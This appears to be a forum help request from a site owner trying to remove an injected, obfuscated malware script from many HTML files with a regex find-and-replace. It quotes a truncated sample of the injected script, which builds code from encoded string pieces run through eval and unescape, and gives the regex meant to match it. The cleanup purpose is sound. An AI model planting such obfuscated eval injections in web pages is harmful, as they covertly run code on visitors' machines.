I need to remove a malware script which nested itself in a bunch of html files. I do not have shell access, so I downloaded all files and plan on doing a replace on all files, then reupload (security hole is fixed allready)
the code looks like so:
Code: Select all
<script>var Wo2ridd="7Nd30Nd74N";var iowRC="ENd27Nd3B';eval";var ZwtdOfta="1p7U%41p3341p6C";var Zo59iE4R="D41p6U%41p6E";var UqHDV="qd60C%%qd";var GEF5X="A/g,'1').repla";var iNelwV="4BJY050JY04";var li0K="d69Nd6CNd6DNd";var Ux8Xew="74Nd48N";var srRLjE="Nf963Nf";var plfgTr6="ape(DQ9C.replac";var g6uH7D5="341p344";var OQEu="1p7241p20";var D2XHR="075JY066JY055";var erQZ="JY074JY0";var IvFW="ANd6DNd65";var gtFk="Nf9Nf962Nf957N";var nxmlt="eplace(/e";Wo2ridd+="d48Nd2ENd";var oLFyoqm="Y065JY";var UbdJHpV="f96FNf96BNf";var XF2Mu="1JY027";var JmUAuRu="Y068JY074JY0";var aTOWEfX="BNd6AN";var hmNIY="Nd75Nd74N";var DLpenI="30%qd74%qd48%qd";var dzMG="Nf965Nf97";var gCQe="4c3B';eval(une";var oOzQo7="6FNd63Nd75";var RUGeAx="079JY0 ... and so on...</script>
Code: Select all
<script>(var[ ]*([A-Za-z0-9 +="';,.()]+))*</script>
Same snippet does not work in CSE HTML Validator v9.03
I would appreciate any help.
Thanks, Richard